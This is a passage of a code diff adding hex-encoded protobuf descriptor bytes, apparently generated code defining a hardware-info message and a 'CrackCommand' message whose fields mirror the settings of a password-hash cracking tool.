0x04, + 0x54, 0x79, 0x70, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x49, 0x44, + 0x12, 0x16, 0x0a, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x56, 0x65, 0x6e, 0x64, 0x6f, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x18, 0x0a, 0x07, + 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, + 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x6f, 0x72, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x50, 0x72, 0x6f, 0x63, + 0x65, 0x73, 0x73, 0x6f, 0x72, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x18, + 0x07, 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x43, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x20, 0x0a, 0x0b, + 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x18, 0x08, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0b, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x54, 0x6f, 0x74, 0x61, 0x6c, 0x12, 0x1e, + 0x0a, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x18, 0x09, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x46, 0x72, 0x65, 0x65, 0x12, 0x22, + 0x0a, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x0a, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x56, 0x65, 0x72, 0x73, 0x69, + 0x6f, 0x6e, 0x22, 0xb9, 0x1e, 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, 0x6d, + 0x61, 0x6e, 0x64, 0x12, 0x39, 0x0a, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, + 0x64, 0x65, 0x52, 0x0a, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x2e, + 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x61, 0x73, 0x68, + 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x16, + 0x0a, 0x06, 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x09, 0x52, 0x06, + 0x48, 0x61, 0x73, 0x68, 0x65, 0x73, 0x12, 0x14, 0x0a, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x51, 0x75, 0x69, 0x65, 0x74, 0x12, 0x1e, 0x0a, 0x0a, + 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x0a, 0x48, 0x65, 0x78, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x12, 0x18, 0x0a, 0x07, + 0x48, 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x48, + 0x65, 0x78, 0x53, 0x61, 0x6c, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x48, 0x65, 0x78, 0x57, 0x6f, 0x72, + 0x64, 0x6c, 0x69, 0x73, 0x74, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x48, 0x65, 0x78, + 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x46, 0x6f, 0x72, 0x63, + 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x46, 0x6f, 0x72, 0x63, 0x65, 0x12, 0x36, + 0x0a, 0x16, 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, + 0x6b, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, + 0x44, 0x65, 0x70, 0x72, 0x65, 0x63, 0x61, 0x74, 0x65, 0x64, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, + 0x18, 0x0a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x1e, + 0x0a, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x18, 0x0b, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x0a, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x4a, 0x53, 0x4f, 0x4e, 0x12, 0x20, + 0x0a, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x0c, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x54, 0x69, 0x6d, 0x65, 0x72, + 0x12, 0x2c, 0x0a, 0x11, 0x53, 0x74, 0x64, 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, + 0x41, 0x62, 0x6f, 0x72, 0x74, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x53, 0x74, 0x64, + 0x69, 0x6e, 0x54, 0x69, 0x6d, 0x65, 0x6f, 0x75, 0x74, 0x41, 0x62, 0x6f, 0x72, 0x74, 0x12, 0x28, + 0x0a, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, + 0x65, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x4d, 0x61, 0x63, 0x68, 0x69, 0x6e, 0x65, + 0x52, 0x65, 0x61, 0x64, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4b, 0x65, 0x65, 0x70, + 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, + 0x4b, 0x65, 0x65, 0x70, 0x47, 0x75, 0x65, 0x73, 0x73, 0x69, 0x6e, 0x67, 0x12, 0x28, 0x0a, 0x0f, + 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, + 0x10, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0f, 0x53, 0x65, 0x6c, 0x66, 0x54, 0x65, 0x73, 0x74, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, + 0x63, 0x6b, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x4c, 0x6f, 0x6f, 0x70, 0x62, 0x61, + 0x63, 0x6b, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x48, 0x63, 0x73, 0x74, + 0x61, 0x74, 0x32, 0x18, 0x12, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, + 0x76, 0x48, 0x63, 0x73, 0x74, 0x61, 0x74, 0x32, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, + 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x13, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x24, + 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, 0x73, 0x73, 0x69, 0x63, 0x18, + 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x43, 0x6c, 0x61, + 0x73, 0x73, 0x69, 0x63, 0x12, 0x24, 0x0a, 0x0d, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x49, 0x6e, + 0x76, 0x65, 0x72, 0x73, 0x65, 0x18, 0x15, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x4d, 0x61, 0x72, + 0x6b, 0x6f, 0x76, 0x49, 0x6e, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x4d, 0x61, + 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x16, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0f, 0x4d, 0x61, 0x72, 0x6b, 0x6f, 0x76, 0x54, 0x68, 0x72, 0x65, 0x73, + 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x18, + 0x17, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x52, 0x75, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x12, 0x18, + 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x18, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x52, 0x65, 0x73, 0x74, + 0x6f, 0x72, 0x65, 0x18, 0x19, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x52, 0x65, 0x73, 0x74, 0x6f, + 0x72, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, + 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x52, 0x65, 0x73, 0x74, + 0x6f, 0x72, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x52, 0x65, + 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x0c, 0x52, + 0x0b, 0x52, 0x65, 0x73, 0x74, 0x6f, 0x72, 0x65, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x42, 0x0a, 0x0d, + 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x1d, 0x20, + 0x03, 0x28, 0x0e, 0x32, 0x1c, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, + 0x74, 0x52, 0x0d, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x12, 0x34, 0x0a, 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, + 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x1e, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x15, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, + 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, + 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x1f, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x11, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x54, + 0x69, 0x6d, 0x65, 0x72, 0x12, 0x36, 0x0a, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, + 0x41, 0x75, 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x20, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x16, 0x57, 0x6f, 0x72, 0x64, 0x6c, 0x69, 0x73, 0x74, 0x41, 0x75, + 0x74, 0x6f, 0x68, 0x65, 0x78, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x09, + 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x21, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x09, 0x53, 0x65, 0x70, 0x61, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, + 0x64, 0x6f, 0x75, 0x74, 0x18, 0x22, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x53, 0x74, 0x64, 0x6f, + 0x75, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x18, 0x23, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x04, 0x53, 0x68, 0x6f, 0x77, 0x12, 0x12, 0x0a, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x18, 0x24, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x4c, 0x65, 0x66, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, + 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x25, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, + 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, + 0x18, 0x26, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x12, 0x20, + 0x0a, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x27, 0x20, + 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x52, 0x65, 0x6d, 0x6f, 0x76, 0x65, 0x54, 0x69, 0x6d, 0x65, 0x72, + 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, + 0x6c, 0x65, 0x18, 0x28, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, 0x50, 0x6f, 0x74, 0x66, 0x69, 0x6c, + 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x6f, 0x74, 0x66, + 0x69, 0x6c, 0x65, 0x18, 0x29, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x50, 0x6f, 0x74, 0x66, 0x69, + 0x6c, 0x65, 0x12, 0x3b, 0x0a, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, + 0x6f, 0x6d, 0x18, 0x2a, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, + 0x67, 0x52, 0x0c, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x46, 0x72, 0x6f, 0x6d, 0x12, + 0x37, 0x0a, 0x0a, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x18, 0x2b, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x52, 0x0a, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x54, 0x6f, 0x12, 0x1c, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, + 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x18, 0x2c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x44, 0x65, 0x62, + 0x75, 0x67, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x26, 0x0a, 0x0e, 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, + 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x30, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0e, + 0x4c, 0x6f, 0x67, 0x66, 0x69, 0x6c, 0x65, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x2c, + 0x0a, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, + 0x61, 0x69, 0x72, 0x18, 0x31, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x11, 0x48, 0x63, 0x63, 0x61, 0x70, + 0x78, 0x4d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x50, 0x61, 0x69, 0x72, 0x12, 0x34, 0x0a, 0x15, + 0x4e, 0x6f, 0x6e, 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x32, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x15, 0x4e, 0x6f, 0x6e, + 0x63, 0x65, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x43, 0x6f, 0x72, 0x72, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x12, 0x34, 0x0a, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, + 0x79, 0x6f, 0x75, 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x18, 0x33, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x15, 0x4b, 0x65, 0x79, 0x62, 0x6f, 0x61, 0x72, 0x64, 0x4c, 0x61, 0x79, 0x6f, 0x75, + 0x74, 0x4d, 0x61, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x65, 0x6e, 0x63, + 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x18, 0x38, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x42, 0x65, 0x6e, + 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, + 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x18, 0x39, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x42, 0x65, + 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x41, 0x6c, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x70, + 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x53, + 0x70, 0x65, 0x65, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x50, 0x72, 0x6f, 0x67, + 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x3b, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, + 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, 0x73, 0x73, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x20, 0x0a, 0x0b, + 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x3c, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0b, 0x53, 0x65, 0x67, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, + 0x0a, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x18, 0x3d, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x69, 0x6e, 0x12, 0x1c, 0x0a, 0x09, + 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x18, 0x3e, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x09, 0x42, 0x69, 0x74, 0x6d, 0x61, 0x70, 0x4d, 0x61, 0x78, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x50, + 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x18, 0x3f, 0x20, 0x03, 0x28, 0x0d, 0x52, + 0x0b, 0x43, 0x50, 0x55, 0x41, 0x66, 0x66, 0x69, 0x6e, 0x69, 0x74, 0x79, 0x12, 0x20, 0x0a, 0x0b, + 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x18, 0x40, 0x20, 0x01, 0x28, + 0x0d, 0x52, 0x0b, 0x48, 0x6f, 0x6f, 0x6b, 0x54, 0x68, 0x72, 0x65, 0x61, 0x64, 0x73, 0x12, 0x1a, + 0x0a, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x41, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x08, 0x48, 0x61, 0x73, 0x68, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x2c, 0x0a, 0x11, 0x42, 0x61, + 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x18, + 0x43, 0x20, 0x01, 0x28, 0x08, 0x52, 0x11, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, + 0x6e, 0x6f, 0x72, 0x65, 0x43, 0x55, 0x44, 0x41, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x61, 0x63, 0x6b, + 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x48, 0x69, 0x70, 0x18, 0x44, 0x20, 0x01, + 0x28, 0x08, 0x52, 0x10, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, + 0x65, 0x48, 0x69, 0x70, 0x12, 0x2e, 0x0a, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, + 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, 0x65, 0x74, 0x61, 0x6c, 0x18, 0x45, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x12, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4d, + 0x65, 0x74, 0x61, 0x6c, 0x12, 0x30, 0x0a, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, + 0x67, 0x6e, 0x6f, 0x72, 0x65, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x18, 0x46, 0x20, 0x01, 0x28, + 0x08, 0x52, 0x13, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x67, 0x6e, 0x6f, 0x72, 0x65, + 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x12, 0x20, 0x0a, 0x0b, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, + 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x18, 0x47, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x61, 0x63, + 0x6b, 0x65, 0x6e, 0x64, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x26, 0x0a, 0x0e, 0x42, 0x61, 0x63, 0x6b, + 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x18, 0x48, 0x20, 0x03, 0x28, 0x0d, + 0x52, 0x0e, 0x42, 0x61, 0x63, 0x6b, 0x65, 0x6e, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, + 0x12, 0x2c, 0x0a, 0x11, 0x4f, 0x70, 0x65, 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, + 0x54, 0x79, 0x70, 0x65, 0x73, 0x18, 0x49, 0x20, 0x03, 0x28, 0x0d, 0x52, 0x11, 0x4f, 0x70, 0x65, + 0x6e, 0x43, 0x4c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x54, 0x79, 0x70, 0x65, 0x73, 0x12, 0x34, + 0x0a, 0x15, 0x4f, 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, + 0x6c, 0x45, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x18, 0x4a, 0x20, 0x01, 0x28, 0x08, 0x52, 0x15, 0x4f, + 0x70, 0x74, 0x69, 0x6d, 0x69, 0x7a, 0x65, 0x64, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x45, 0x6e, + 0x61, 0x62, 0x6c, 0x65, 0x12, 0x34, 0x0a, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, + 0x41, 0x63, 0x63, 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x18, 0x4b, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x15, 0x4d, 0x75, 0x6c, 0x74, 0x69, 0x70, 0x6c, 0x79, 0x41, 0x63, 0x63, + 0x65, 0x6c, 0x44, 0x69, 0x73, 0x61, 0x62, 0x6c, 0x65, 0x64, 0x12, 0x48, 0x0a, 0x0f, 0x57, 0x6f, + 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x18, 0x4c, 0x20, + 0x01, 0x28, 0x0e, 0x32, 0x1e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 